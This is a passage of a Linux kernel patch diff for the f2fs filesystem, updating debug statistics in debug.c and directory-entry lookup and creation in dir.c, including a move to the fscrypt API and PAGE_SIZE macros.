(!PageDirty(page)) { - __set_page_dirty_nobuffers(page); + f2fs_set_page_dirty_nobuffers(page); update_dirty_page(inode, page); return 1; } diff --git a/fs/f2fs/debug.c b/fs/f2fs/debug.c index 478e5d54154f5..29d8feaf09ee7 100644 --- a/fs/f2fs/debug.c +++ b/fs/f2fs/debug.c @@ -38,23 +38,31 @@ static void update_general_status(struct f2fs_sb_info *sbi) si->hit_rbtree = atomic64_read(&sbi->read_hit_rbtree); si->hit_total = si->hit_largest + si->hit_cached + si->hit_rbtree; si->total_ext = atomic64_read(&sbi->total_hit_ext); - si->ext_tree = sbi->total_ext_tree; + si->ext_tree = atomic_read(&sbi->total_ext_tree); + si->zombie_tree = atomic_read(&sbi->total_zombie_tree); si->ext_node = atomic_read(&sbi->total_ext_node); si->ndirty_node = get_pages(sbi, F2FS_DIRTY_NODES); si->ndirty_dent = get_pages(sbi, F2FS_DIRTY_DENTS); - si->ndirty_dirs = sbi->n_dirty_dirs; si->ndirty_meta = get_pages(sbi, F2FS_DIRTY_META); + si->ndirty_data = get_pages(sbi, F2FS_DIRTY_DATA); + si->ndirty_imeta = get_pages(sbi, F2FS_DIRTY_IMETA); + si->ndirty_dirs = sbi->ndirty_inode[DIR_INODE]; + si->ndirty_files = sbi->ndirty_inode[FILE_INODE]; + si->ndirty_all = sbi->ndirty_inode[DIRTY_META]; si->inmem_pages = get_pages(sbi, F2FS_INMEM_PAGES); - si->wb_pages = get_pages(sbi, F2FS_WRITEBACK); + si->nr_wb_cp_data = get_pages(sbi, F2FS_WB_CP_DATA); + si->nr_wb_data = get_pages(sbi, F2FS_WB_DATA); si->total_count = (int)sbi->user_block_count / sbi->blocks_per_seg; si->rsvd_segs = reserved_segments(sbi); si->overp_segs = overprovision_segments(sbi); si->valid_count = valid_user_blocks(sbi); + si->discard_blks = discard_blocks(sbi); si->valid_node_count = valid_node_count(sbi); si->valid_inode_count = valid_inode_count(sbi); si->inline_xattr = atomic_read(&sbi->inline_xattr); si->inline_inode = atomic_read(&sbi->inline_inode); si->inline_dir = atomic_read(&sbi->inline_dir); + si->orphans = sbi->im[ORPHAN_INO].ino_num; si->utilization = utilization(sbi); si->free_segs = free_segments(sbi); @@ -67,7 +75,8 @@ static void update_general_status(struct f2fs_sb_info *sbi) si->dirty_nats = NM_I(sbi)->dirty_nat_cnt; si->sits = MAIN_SEGS(sbi); si->dirty_sits = SIT_I(sbi)->dirty_sentries; - si->fnids = NM_I(sbi)->fcnt; + si->free_nids = NM_I(sbi)->nid_cnt[FREE_NID_LIST]; + si->alloc_nids = NM_I(sbi)->nid_cnt[ALLOC_NID_LIST]; si->bg_gc = sbi->bg_gc; si->util_free = (int)(free_user_blocks(sbi) >> sbi->log_blocks_per_seg) * 100 / (int)(sbi->user_block_count >> sbi->log_blocks_per_seg) @@ -105,7 +114,7 @@ static void update_sit_info(struct f2fs_sb_info *sbi) bimodal = 0; total_vblocks = 0; - blks_per_sec = sbi->segs_per_sec * (1 << sbi->log_blocks_per_seg); + blks_per_sec = sbi->segs_per_sec * sbi->blocks_per_seg; hblks_per_sec = blks_per_sec / 2; for (segno = 0; segno < MAIN_SEGS(sbi); segno += sbi->segs_per_sec) { vblocks = get_valid_blocks(sbi, segno, sbi->segs_per_sec); @@ -140,6 +149,7 @@ static void update_mem_info(struct f2fs_sb_info *sbi) si->base_mem = sizeof(struct f2fs_sb_info) + sbi->sb->s_blocksize; si->base_mem += 2 * sizeof(struct f2fs_inode_info); si->base_mem += sizeof(*sbi->ckpt); + si->base_mem += sizeof(struct percpu_counter) * NR_COUNT_TYPE; /* build sm */ si->base_mem += sizeof(struct f2fs_sm_info); @@ -148,7 +158,9 @@ static void update_mem_info(struct f2fs_sb_info *sbi) si->base_mem += sizeof(struct sit_info); si->base_mem += MAIN_SEGS(sbi) * sizeof(struct seg_entry); si->base_mem += f2fs_bitmap_size(MAIN_SEGS(sbi)); - si->base_mem += 3 * SIT_VBLOCK_MAP_SIZE * MAIN_SEGS(sbi); + si->base_mem += 2 * SIT_VBLOCK_MAP_SIZE * MAIN_SEGS(sbi); + if (f2fs_discard_en(sbi)) + si->base_mem += SIT_VBLOCK_MAP_SIZE * MAIN_SEGS(sbi); si->base_mem += SIT_VBLOCK_MAP_SIZE; if (sbi->segs_per_sec > 1) si->base_mem += MAIN_SECS(sbi) * sizeof(struct sec_entry); @@ -161,7 +173,7 @@ static void update_mem_info(struct f2fs_sb_info *sbi) /* build curseg */ si->base_mem += sizeof(struct curseg_info) * NR_CURSEG_TYPE; - si->base_mem += PAGE_CACHE_SIZE * NR_CURSEG_TYPE; + si->base_mem += PAGE_SIZE * NR_CURSEG_TYPE; /* build dirty segmap */ si->base_mem += sizeof(struct dirty_seglist_info); @@ -184,23 +196,25 @@ static void update_mem_info(struct f2fs_sb_info *sbi) si->cache_mem += sizeof(struct flush_cmd_control); /* free nids */ - si->cache_mem += NM_I(sbi)->fcnt * sizeof(struct free_nid); + si->cache_mem += (NM_I(sbi)->nid_cnt[FREE_NID_LIST] + + NM_I(sbi)->nid_cnt[ALLOC_NID_LIST]) * + sizeof(struct free_nid); si->cache_mem += NM_I(sbi)->nat_cnt * sizeof(struct nat_entry); si->cache_mem += NM_I(sbi)->dirty_nat_cnt * sizeof(struct nat_entry_set); si->cache_mem += si->inmem_pages * sizeof(struct inmem_pages); - si->cache_mem += sbi->n_dirty_dirs * sizeof(struct inode_entry); - for (i = 0; i <= UPDATE_INO; i++) + for (i = 0; i <= ORPHAN_INO; i++) si->cache_mem += sbi->im[i].ino_num * sizeof(struct ino_entry); - si->cache_mem += sbi->total_ext_tree * sizeof(struct extent_tree); + si->cache_mem += atomic_read(&sbi->total_ext_tree) * + sizeof(struct extent_tree); si->cache_mem += atomic_read(&sbi->total_ext_node) * sizeof(struct extent_node); si->page_mem = 0; npages = NODE_MAPPING(sbi)->nrpages; - si->page_mem += (unsigned long long)npages << PAGE_CACHE_SHIFT; + si->page_mem += (unsigned long long)npages << PAGE_SHIFT; npages = META_MAPPING(sbi)->nrpages; - si->page_mem += (unsigned long long)npages << PAGE_CACHE_SHIFT; + si->page_mem += (unsigned long long)npages << PAGE_SHIFT; } static int stat_show(struct seq_file *s, void *v) @@ -215,16 +229,22 @@ static int stat_show(struct seq_file *s, void *v) update_general_status(si->sbi); - seq_printf(s, "\n=====[ partition info(%s). #%d ]=====\n", - bdevname(si->sbi->sb->s_bdev, devname), i++); + seq_printf(s, "\n=====[ partition info(%s). #%d, %s]=====\n", + bdevname(si->sbi->sb->s_bdev, devname), i++, + f2fs_readonly(si->sbi->sb) ? "RO": "RW"); seq_printf(s, "[SB: 1] [CP: 2] [SIT: %d] [NAT: %d] ", si->sit_area_segs, si->nat_area_segs); seq_printf(s, "[SSA: %d] [MAIN: %d", si->ssa_area_segs, si->main_area_segs); seq_printf(s, "(OverProv:%d Resv:%d)]\n\n", si->overp_segs, si->rsvd_segs); - seq_printf(s, "Utilization: %d%% (%d valid blocks)\n", - si->utilization, si->valid_count); + if (test_opt(si->sbi, DISCARD)) + seq_printf(s, "Utilization: %u%% (%u valid blocks, %u discard blocks)\n", + si->utilization, si->valid_count, si->discard_blks); + else + seq_printf(s, "Utilization: %u%% (%u valid blocks)\n", + si->utilization, si->valid_count); + seq_printf(s, " - Node: %u (Inode: %u, ", si->valid_node_count, si->valid_inode_count); seq_printf(s, "Other: %u)\n - Data: %u\n", @@ -236,6 +256,8 @@ static int stat_show(struct seq_file *s, void *v) si->inline_inode); seq_printf(s, " - Inline_dentry Inode: %u\n", si->inline_dir); + seq_printf(s, " - Orphan Inode: %u\n", + si->orphans); seq_printf(s, "\nMain area: %d segs, %d secs %d zones\n", si->main_area_segs, si->main_area_sections, si->main_area_zones); @@ -269,7 +291,8 @@ static int stat_show(struct seq_file *s, void *v) si->dirty_count); seq_printf(s, " - Prefree: %d\n - Free: %d (%d)\n\n", si->prefree_count, si->free_segs, si->free_secs); - seq_printf(s, "CP calls: %d\n", si->cp_count); + seq_printf(s, "CP calls: %d (BG: %d)\n", + si->cp_count, si->bg_cp_count); seq_printf(s, "GC calls: %d (BG: %d)\n", si->call_count, si->bg_gc); seq_printf(s, " - data segments : %d (%d)\n", @@ -290,21 +313,25 @@ static int stat_show(struct seq_file *s, void *v) !si->total_ext ? 0 : div64_u64(si->hit_total * 100, si->total_ext), si->hit_total, si->total_ext); - seq_printf(s, " - Inner Struct Count: tree: %d, node: %d\n", - si->ext_tree, si->ext_node); + seq_printf(s, " - Inner Struct Count: tree: %d(%d), node: %d\n", + si->ext_tree, si->zombie_tree, si->ext_node); seq_puts(s, "\nBalancing F2FS Async:\n"); - seq_printf(s, " - inmem: %4d, wb: %4d\n", - si->inmem_pages, si->wb_pages); + seq_printf(s, " - inmem: %4d, wb_cp_data: %4d, wb_data: %4d\n", + si->inmem_pages, si->nr_wb_cp_data, si->nr_wb_data); seq_printf(s, " - nodes: %4d in %4d\n", si->ndirty_node, si->node_pages); - seq_printf(s, " - dents: %4d in dirs:%4d\n", - si->ndirty_dent, si->ndirty_dirs); + seq_printf(s, " - dents: %4d in dirs:%4d (%4d)\n", + si->ndirty_dent, si->ndirty_dirs, si->ndirty_all); + seq_printf(s, " - datas: %4d in files:%4d\n", + si->ndirty_data, si->ndirty_files); seq_printf(s, " - meta: %4d in %4d\n", si->ndirty_meta, si->meta_pages); + seq_printf(s, " - imeta: %4d\n", + si->ndirty_imeta); seq_printf(s, " - NATs: %9d/%9d\n - SITs: %9d/%9d\n", si->dirty_nats, si->nats, si->dirty_sits, si->sits); - seq_printf(s, " - free_nids: %9d\n", - si->fnids); + seq_printf(s, " - free_nids: %9d, alloc_nids: %9d\n", + si->free_nids, si->alloc_nids); seq_puts(s, "\nDistribution of User Blocks:"); seq_puts(s, " [ valid | invalid | free ]\n"); seq_puts(s, " ["); @@ -352,6 +379,7 @@ static int stat_open(struct inode *inode, struct file *file) } static const struct file_operations stat_fops = { + .owner = THIS_MODULE, .open = stat_open, .read = seq_read, .llseek = seq_lseek, @@ -406,20 +434,23 @@ void f2fs_destroy_stats(struct f2fs_sb_info *sbi) kfree(si); } -void __init f2fs_create_root_stats(void) +int __init f2fs_create_root_stats(void) { struct dentry *file; f2fs_debugfs_root = debugfs_create_dir("f2fs", NULL); if (!f2fs_debugfs_root) - return; + return -ENOMEM; file = debugfs_create_file("status", S_IRUGO, f2fs_debugfs_root, NULL, &stat_fops); if (!file) { debugfs_remove(f2fs_debugfs_root); f2fs_debugfs_root = NULL; + return -ENOMEM; } + + return 0; } void f2fs_destroy_root_stats(void) diff --git a/fs/f2fs/dir.c b/fs/f2fs/dir.c index df3bad65adcd5..ee6c997949233 100644 --- a/fs/f2fs/dir.c +++ b/fs/f2fs/dir.c @@ -18,8 +18,8 @@ static unsigned long dir_blocks(struct inode *inode) { - return ((unsigned long long) (i_size_read(inode) + PAGE_CACHE_SIZE - 1)) - >> PAGE_CACHE_SHIFT; + return ((unsigned long long) (i_size_read(inode) + PAGE_SIZE - 1)) + >> PAGE_SHIFT; } static unsigned int dir_buckets(unsigned int level, int dir_level) @@ -38,7 +38,7 @@ static unsigned int bucket_blocks(unsigned int level) return 4; } -unsigned char f2fs_filetype_table[F2FS_FT_MAX] = { +static unsigned char f2fs_filetype_table[F2FS_FT_MAX] = { [F2FS_FT_UNKNOWN] = DT_UNKNOWN, [F2FS_FT_REG_FILE] = DT_REG, [F2FS_FT_DIR] = DT_DIR, @@ -49,7 +49,6 @@ unsigned char f2fs_filetype_table[F2FS_FT_MAX] = { [F2FS_FT_SYMLINK] = DT_LNK, }; -#define S_SHIFT 12 static unsigned char f2fs_type_by_mode[S_IFMT >> S_SHIFT] = { [S_IFREG >> S_SHIFT] = F2FS_FT_REG_FILE, [S_IFDIR >> S_SHIFT] = F2FS_FT_DIR, @@ -65,6 +64,13 @@ void set_de_type(struct f2fs_dir_entry *de, umode_t mode) de->file_type = f2fs_type_by_mode[(mode & S_IFMT) >> S_SHIFT]; } +unsigned char get_de_type(struct f2fs_dir_entry *de) +{ + if (de->file_type < F2FS_FT_MAX) + return f2fs_filetype_table[de->file_type]; + return DT_UNKNOWN; +} + static unsigned long dir_block_index(unsigned int level, int dir_level, unsigned int idx) { @@ -78,7 +84,7 @@ static unsigned long dir_block_index(unsigned int level, } static struct f2fs_dir_entry *find_in_block(struct page *dentry_page, - struct f2fs_filename *fname, + struct fscrypt_name *fname, f2fs_hash_t namehash, int *max_slots, struct page **res_page) @@ -96,23 +102,18 @@ static struct f2fs_dir_entry *find_in_block(struct page *dentry_page, else kunmap(dentry_page); - /* - * For the most part, it should be a bug when name_len is zero. - * We stop here for figuring out where the bugs has occurred. - */ - f2fs_bug_on(F2FS_P_SB(dentry_page), d.max < 0); return de; } -struct f2fs_dir_entry *find_target_dentry(struct f2fs_filename *fname, +struct f2fs_dir_entry *find_target_dentry(struct fscrypt_name *fname, f2fs_hash_t namehash, int *max_slots, struct f2fs_dentry_ptr *d) { struct f2fs_dir_entry *de; unsigned long bit_pos = 0; int max_len = 0; - struct f2fs_str de_name = FSTR_INIT(NULL, 0); - struct f2fs_str *name = &fname->disk_name; + struct fscrypt_str de_name = FSTR_INIT(NULL, 0); + struct fscrypt_str *name = &fname->disk_name; if (max_slots) *max_slots = 0; @@ -125,28 +126,28 @@ struct f2fs_dir_entry *find_target_dentry(struct f2fs_filename *fname, de = &d->dentry[bit_pos]; + if (unlikely(!de->name_len)) { + bit_pos++; + continue; + } + /* encrypted case */ de_name.name = d->filename[bit_pos]; de_name.len = le16_to_cpu(de->name_len); /* show encrypted name */ if (fname->hash) { - if (de->hash_code == fname->hash) + if (de->hash_code == cpu_to_le32(fname->hash)) goto found; } else if (de_name.len == name->len && de->hash_code == namehash && - !memcmp(de_name.name, name->name, name->len)) { + !memcmp(de_name.name, name->name, name->len)) goto found; - } if (max_slots && max_len > *max_slots) *max_slots = max_len; max_len = 0; - /* remain bug on condition */ - if (unlikely(!de->name_len)) - d->max = -1; - bit_pos += GET_DENTRY_SLOTS(le16_to_cpu(de->name_len)); } @@ -159,7 +160,7 @@ struct f2fs_dir_entry *find_target_dentry(struct f2fs_filename *fname, static struct f2fs_dir_entry *find_in_level(struct inode *dir, unsigned int level, - struct f2fs_filename *fname, + struct fscrypt_name *fname, struct page **res_page) { struct qstr name = FSTR_TO_QSTR(&fname->disk_name); @@ -172,9 +173,10 @@ static struct f2fs_dir_entry *find_in_level(struct inode *dir, int max_slots; f2fs_hash_t namehash; - namehash = f2fs_dentry_hash(&name); - - f2fs_bug_on(F2FS_I_SB(dir), level > MAX_DIR_HASH_DEPTH); + if(fname->hash) + namehash = cpu_to_le32(fname->hash); + else + namehash = f2fs_dentry_hash(&name); nbucket = dir_buckets(level, F2FS_I(dir)->i_dir_level); nblock = bucket_blocks(level); @@ -187,12 +189,17 @@ static struct f2fs_dir_entry *find_in_level(struct inode *dir, /* no need to allocate new dentry pages to all the indices */ dentry_page = find_data_page(dir, bidx); if (IS_ERR(dentry_page)) { - room = true; - continue; + if (PTR_ERR(dentry_page) == -ENOENT) { + room = true; + continue; + } else { + *res_page = dentry_page; + break; + } } de = find_in_block(dentry_page, fname, namehash, &max_slots, - res_page); + res_page); if (de) break; @@ -209,79 +216,87 @@ static struct f2fs_dir_entry *find_in_level(struct inode *dir, return de; } -/* - * Find an entry in the specified directory with the wanted name. - * It returns the page where the entry was found (as a parameter - res_page), - * and the entry itself. Page is returned mapped and unlocked. - * Entry is guaranteed to be valid. - */ -struct f2fs_dir_entry *f2fs_find_entry(struct inode *dir, struct qstr *child, - struct page **res_page) +struct f2fs_dir_entry *__f2fs_find_entry(struct inode *dir, + struct fscrypt_name *fname, struct page **res_page) { unsigned long npages = dir_blocks(dir); struct f2fs_dir_entry *de = NULL; unsigned int max_depth; unsigned int level; - struct f2fs_filename fname; - int err; - - *res_page = NULL; - - err = f2fs_fname_setup_filename(dir, child, 1, &fname); - if (err) - return NULL; if (f2fs_has_inline_dentry(dir)) { - de = find_in_inline_dir(dir, &fname, res_page); + *res_page = NULL; + de = find_in_inline_dir(dir, fname, res_page); goto out; } - if (npages == 0) + if (npages == 0) { + *res_page = NULL; goto out; + } max_depth = F2FS_I(dir)->i_current_depth; + if (unlikely(max_depth > MAX_DIR_HASH_DEPTH)) { + f2fs_msg(F2FS_I_SB(dir)->sb, KERN_WARNING, + "Corrupted max_depth of %lu: %u", + dir->i_ino, max_depth); + max_depth = MAX_DIR_HASH_DEPTH; + f2fs_i_depth_write(dir, max_depth); + } for (level = 0; level < max_depth; level++) { - de = find_in_level(dir, level, &fname, res_page); - if (de) + *res_page = NULL; + de = find_in_level(dir, level, fname, res_page); + if (de || IS_ERR(*res_page)) break; } out: - f2fs_fname_free_filename(&fname); return de; } -struct f2fs_dir_entry *f2fs_parent_dir(struct inode *dir, struct page **p) +/* + * Find an entry in the specified directory with the wanted name. + * It returns the page where the entry was found (as a parameter - res_page), + * and the entry itself. Page is returned mapped and unlocked. + * Entry is guaranteed to be valid. + */ +struct f2fs_dir_entry *f2fs_find_entry(struct inode *dir, + const struct qstr *child, struct page **res_page) { - struct page *page; - struct f2fs_dir_entry *de; - struct f2fs_dentry_block *dentry_blk; - - if (f2fs_has_inline_dentry(dir)) - return f2fs_parent_inline_dir(dir, p); + struct f2fs_dir_entry *de = NULL; + struct fscrypt_name fname; + int err; - page = get_lock_data_page(dir, 0, false); - if (IS_ERR(page)) + err = fscrypt_setup_filename(dir, child, 1, &fname); + if (err) { + *res_page = ERR_PTR(err); return NULL; + } - dentry_blk = kmap(page); - de = &dentry_blk->dentry[1]; - *p = page; - unlock_page(page); + de = __f2fs_find_entry(dir, &fname, res_page); + + fscrypt_free_filename(&fname); return de; } -ino_t f2fs_inode_by_name(struct inode *dir, struct qstr *qstr) +struct f2fs_dir_entry *f2fs_parent_dir(struct inode *dir, struct page **p) +{ + struct qstr dotdot = QSTR_INIT("..", 2); + + return f2fs_find_entry(dir, &dotdot, p); +} + +ino_t f2fs_inode_by_name(struct inode *dir, struct qstr *qstr, + struct page **page) { ino_t res = 0; struct f2fs_dir_entry *de; - struct page *page; - de = f2fs_find_entry(dir, qstr, &page); + de = f2fs_find_entry(dir, qstr, page); if (de) { res = le32_to_cpu(de->ino); - f2fs_dentry_kunmap(dir, page); - f2fs_put_page(page, 0); + f2fs_dentry_kunmap(dir, *page); + f2fs_put_page(*page, 0); } return res; @@ -292,14 +307,14 @@ void f2fs_set_link(struct inode *dir, struct f2fs_dir_entry *de, { enum page_type type = f2fs_has_inline_dentry(dir) ? NODE : DATA; lock_page(page); - f2fs_wait_on_page_writeback(page, type); + f2fs_wait_on_page_writeback(page, type, true); de->ino = cpu_to_le32(inode->i_ino); set_de_type(de, inode->i_mode); f2fs_dentry_kunmap(dir, page); set_page_dirty(page); - dir->i_mtime = dir->i_ctime = CURRENT_TIME; - mark_inode_dirty(dir); + dir->i_mtime = dir->i_ctime = current_time(dir); + f2fs_mark_inode_dirty_sync(dir, false); f2fs_put_page(page, 1); } @@ -307,7 +322,7 @@ static void init_dent_inode(const struct qstr *name, struct page *ipage) { struct f2fs_inode *ri; - f2fs_wait_on_page_writeback(ipage, NODE); + f2fs_wait_on_page_writeback(ipage, NODE, true); /* copy name info. to this inode page */ ri = F2FS_INODE(ipage); @@ -337,24 +352,14 @@ int update_dent_inode(struct inode *inode, struct inode *to, void do_make_empty_dir(struct inode *inode, struct inode *parent, struct f2fs_dentry_ptr *d) { - struct f2fs_dir_entry *de; - - de = &d->dentry[0]; - de->name_len = cpu_to_le16(1); - de->hash_code = 0; - de->ino = cpu_to_le32(inode->i_ino); - memcpy(d->filename[0], ".", 1); - set_de_type(de, inode->i_mode); + struct qstr dot = QSTR_INIT(".", 1); + struct qstr dotdot = QSTR_INIT("..", 2); - de = &d->dentry[1]; - de->hash_code = 0; - de->name_len = cpu_to_le16(2); - de->ino = cpu_to_le32(parent->i_ino); - memcpy(d->filename[1], "..", 2); - set_de_type(de, parent->i_mode); + /* update dirent of "." */ + f2fs_update_dentry(inode->i_ino, inode->i_mode, d, &dot, 0, 0); - test_and_set_bit_le(0, (void *)d->bitmap); - test_and_set_bit_le(1, (void *)d->bitmap); + /* update dirent of ".." */ + f2fs_update_dentry(parent->i_ino, parent->i_mode, d, &dotdot, 0, 1); } static int make_empty_dir(struct inode *inode, @@ -384,32 +389,38 @@ static int make_empty_dir(struct inode *inode, } struct page *init_inode_metadata(struct inode *inode, struct inode *dir, - const struct qstr *name, struct page *dpage) + const struct qstr *new_name, const struct qstr *orig_name, + struct page *dpage) { struct page *page; int err; - if (is_inode_flag_set(F2FS_I(inode), FI_NEW_INODE)) { + if (is_inode_flag_set(inode, FI_NEW_INODE)) { page = new_inode_page(inode); if (IS_ERR(page)) return page; if (S_ISDIR(inode->i_mode)) { + /* in order to handle error case */ + get_page(page); err = make_empty_dir(inode, dir, page); - if (err) - goto error; + if (err) { + lock_page(page); + goto put_error; + } + put_page(page); } err = f2fs_init_acl(inode, dir, page, dpage); if (err) goto put_error; - err = f2fs_init_security(inode, dir, name, page); + err = f2fs_init_security(inode, dir, orig_name, page); if (err) goto put_error; if (f2fs_encrypted_inode(dir) && f2fs_may_encrypt(inode)) { - err = f2fs_inherit_context(dir, inode, page); + err = fscrypt_inherit_context(dir, inode, page, false); if (err) goto put_error; } @@ -421,14 +432,14 @@ struct page *init_inode_metadata(struct inode *inode, struct inode *dir, set_cold_node(inode, page); } - if (name) - init_dent_inode(name, page); + if (new_name) + init_dent_inode(new_name, page); /* * This file should be checkpointed during fsync. * We lost i_pino from now on. */ - if (is_inode_flag_set(F2FS_I(inode), FI_INC_LINK)) { + if (is_inode_flag_set(inode, FI_INC_LINK)) { file_lost_pino(inode); /* * If link the tmpfile to alias through linkat path, @@ -436,41 +447,33 @@ struct page *init_inode_metadata(struct inode *inode, struct inode *dir, */ if (inode->i_nlink == 0) remove_orphan_inode(F2FS_I_SB(dir), inode->i_ino); - inc_nlink(inode); + f2fs_i_links_write(inode, true); } return page; put_error: + clear_nlink(inode); + update_inode(inode, page); f2fs_put_page(page, 1); -error: - /* once the failed inode becomes a bad inode, i_mode is S_IFREG */ - truncate_inode_pages(&inode->i_data, 0); - truncate_blocks(inode, 0, false); - remove_dirty_dir_inode(inode); - remove_inode_page(inode); return ERR_PTR(err); } void update_parent_metadata(struct inode *dir, struct inode *inode, unsigned int current_depth) { - if (inode && is_inode_flag_set(F2FS_I(inode), FI_NEW_INODE)) { - if (S_ISDIR(inode->i_mode)) { - inc_nlink(dir); - set_inode_flag(F2FS_I(dir), FI_UPDATE_DIR); - } - clear_inode_flag(F2FS_I(inode), FI_NEW_INODE); + if (inode && is_inode_flag_set(inode, FI_NEW_INODE)) { + if (S_ISDIR(inode->i_mode)) + f2fs_i_links_write(dir, true); + clear_inode_flag(inode, FI_NEW_INODE); } - dir->i_mtime = dir->i_ctime = CURRENT_TIME; - mark_inode_dirty(dir); + dir->i_mtime = dir->i_ctime = current_time(dir); + f2fs_mark_inode_dirty_sync(dir, false); - if (F2FS_I(dir)->i_current_depth != current_depth) { - F2FS_I(dir)->i_current_depth = current_depth; - set_inode_flag(F2FS_I(dir), FI_UPDATE_DIR); - } + if (F2FS_I(dir)->i_current_depth != current_depth) + f2fs_i_depth_write(dir, current_depth); - if (inode && is_inode_flag_set(F2FS_I(inode), FI_INC_LINK)) - clear_inode_flag(F2FS_I(inode), FI_INC_LINK); + if (inode && is_inode_flag_set(inode, FI_INC_LINK)) + clear_inode_flag(inode, FI_INC_LINK); } int room_for_filename(const void *bitmap, int slots, int max_slots) @@ -507,15 +510,16 @@ void f2fs_update_dentry(nid_t ino, umode_t mode, struct f2fs_dentry_ptr *d, memcpy(d->filename[bit_pos], name->name, name->len); de->ino = cpu_to_le32(ino); set_de_type(de, mode); - for (i = 0; i < slots; i++) - test_and_set_bit_le(bit_pos + i, (void *)d->bitmap); + for (i = 0; i < slots; i++) { + __set_bit_le(bit_pos + i, (void *)d->bitmap); + /* avoid wrong garbage data for readdir */ + if (i) + (de + i)->name_len = 0; + } } -/* - * Caller should grab and release a rwsem by calling f2fs_lock_op() and - * f2fs_unlock_op(). - */ -int __f2fs_add_link(struct inode *dir, const struct qstr *name, +int f2fs_add_regular_entry(struct inode *dir, const struct qstr *new_name, + const struct qstr *orig_name, struct inode *inode, nid_t ino, umode_t mode) { unsigned int bit_pos; @@ -528,28 +532,11 @@ int __f2fs_add_link(struct inode *dir, const struct qstr *name, struct f2fs_dentry_block *dentry_blk = NULL; struct f2fs_dentry_ptr d; struct page *page = NULL; - struct f2fs_filename fname; - struct qstr new_name; - int slots, err; - - err = f2fs_fname_setup_filename(dir, name, 0, &fname); - if (err) - return err; - - new_name.name = fname_name(&fname); - new_name.len = fname_len(&fname); - - if (f2fs_has_inline_dentry(dir)) { - err = f2fs_add_inline_entry(dir, &new_name, inode, ino, mode); - if (!err || err != -EAGAIN) - goto out; - else - err = 0; - } + int slots, err = 0; level = 0; - slots = GET_DENTRY_SLOTS(new_name.len); - dentry_hash = f2fs_dentry_hash(&new_name); + slots = GET_DENTRY_SLOTS(new_name->len); + dentry_hash = f2fs_dentry_hash(new_name); current_depth = F2FS_I(dir)->i_current_depth; if (F2FS_I(dir)->chash == dentry_hash) { @@ -558,10 +545,12 @@ int __f2fs_add_link(struct inode *dir, const struct qstr *name, } start: - if (unlikely(current_depth == MAX_DIR_HASH_DEPTH)) { - err = -ENOSPC; - goto out; - } +#ifdef CONFIG_F2FS_FAULT_INJECTION + if (time_to_inject(F2FS_I_SB(dir), FAULT_DIR_DEPTH)) + return -ENOSPC; +#endif + if (unlikely(current_depth == MAX_DIR_HASH_DEPTH)) + return -ENOSPC; /* Increase the depth, if required */ if (level == current_depth) @@ -575,10 +564,8 @@ int __f2fs_add_link(struct inode *dir, const struct qstr *name, for (block = bidx; block <= (bidx + nblock - 1); block++) { dentry_page = get_new_data_page(dir, NULL, block, true); - if (IS_ERR(dentry_page)) { - err = PTR_ERR(dentry_page); - goto out; - } + if (IS_ERR(dentry_page)) + return PTR_ERR(dentry_page); dentry_blk = kmap(dentry_page); bit_pos = room_for_filename(&dentry_blk->dentry_bitmap, @@ -594,11 +581,12 @@ int __f2fs_add_link(struct inode *dir, const struct qstr *name, ++level; goto start; add_dentry: - f2fs_wait_on_page_writeback(dentry_page, DATA); + f2fs_wait_on_page_writeback(dentry_page, DATA, true); if (inode) { down_write(&F2FS_I(inode)->i_sem); - page = init_inode_metadata(inode, dir, &new_name, NULL); + page = init_inode_metadata(inode, dir, new_name, + orig_name, NULL); if (IS_ERR(page)) { err = PTR_ERR(page); goto fail; @@ -608,14 +596,12 @@ int __f2fs_add_link(struct inode *dir, const struct qstr *name, } make_dentry_ptr(NULL, &d, (void *)dentry_blk, 1); - f2fs_update_dentry(ino, mode, &d, &new_name, dentry_hash, bit_pos); + f2fs_update_dentry(ino, mode, &d, new_name, dentry_hash, bit_pos); set_page_dirty(dentry_page); if (inode) { - /* we don't need to mark_inode_dirty now */ - F2FS_I(inode)->i_pino = dir->i_ino; - update_inode(inode, page); + f2fs_i_pino_write(inode, dir->i_ino); f2fs_put_page(page, 1); } @@ -624,14 +610,49 @@ int __f2fs_add_link(struct inode *dir, const struct qstr *name, if (inode) up_write(&F2FS_I(inode)->i_sem); - if (is_inode_flag_set(F2FS_I(dir), FI_UPDATE_DIR)) { - update_inode_page(dir); - clear_inode_flag(F2FS_I(dir), FI_UPDATE_DIR); - } kunmap(dentry_page); f2fs_put_page(dentry_page, 1); -out: - f2fs_fname_free_filename(&fname); + + return err; +} + +int __f2fs_do_add_link(struct inode *dir, struct fscrypt_name *fname, + struct inode *inode, nid_t ino, umode_t mode) +{ + struct qstr new_name; + int err = -EAGAIN; + + new_name.name = fname_name(fname); + new_name.len = fname_len(fname); + + if (f2fs_has_inline_dentry(dir)) + err = f2fs_add_inline_entry(dir, &new_name, fname->usr_fname, + inode, ino, mode); + if (err == -EAGAIN) + err = f2fs_add_regular_entry(dir, &new_name, fname->usr_fname, + inode, ino, mode); + + f2fs_update_time(F2FS_I_SB(dir), REQ_TIME); + return err; +} + +/* + * Caller should grab and release a rwsem by calling f2fs_lock_op() and + * f2fs_unlock_op(). + */ +int __f2fs_add_link(struct inode *dir, const struct qstr *name, + struct inode *inode, nid_t ino, umode_t mode) +{ + struct fscrypt_name fname; + int err; + + err = fscrypt_setup_filename(dir, name, 0, &fname); + if (err) + return err; + + err = __f2fs_do_add_link(dir, &fname, inode, ino, mode); + + fscrypt_free_filename(&fname); return err; } @@ -641,46 +662,39 @@ int f2fs_do_tmpfile(struct inode *inode, struct inode *dir) int err = 0; down_write(&F2FS_I(inode)->i_sem); - page = init_inode_metadata(inode, dir, NULL, NULL); + page = init_inode_metadata(inode, dir, NULL, NULL, NULL); if (IS_ERR(page)) { err = PTR_ERR(page); goto fail; } - /* we don't need to mark_inode_dirty now */ - update_inode(inode, page); f2fs_put_page(page, 1); - clear_inode_flag(F2FS_I(inode), FI_NEW_INODE); + clear_inode_flag(inode, FI_NEW_INODE); fail: up_write(&F2FS_I(inode)->i_sem); + f2fs_update_time(F2FS_I_SB(inode), REQ_TIME); return err; } -void f2fs_drop_nlink(struct inode *dir, struct inode *inode, struct page *page) +void f2fs_drop_nlink(struct inode *dir, struct inode *inode) { struct f2fs_sb_info *sbi = F2FS_I_SB(dir); down_write(&F2FS_I(inode)->i_sem); - if (S_ISDIR(inode->i_mode)) { - drop_nlink(dir); - if (page) - update_inode(dir, page); - else - update_inode_page(dir); - } - inode->i_ctime = CURRENT_TIME; + if (S_ISDIR(inode->i_mode)) + f2fs_i_links_write(dir, false); + inode->i_ctime = current_time(inode); - drop_nlink(inode); + 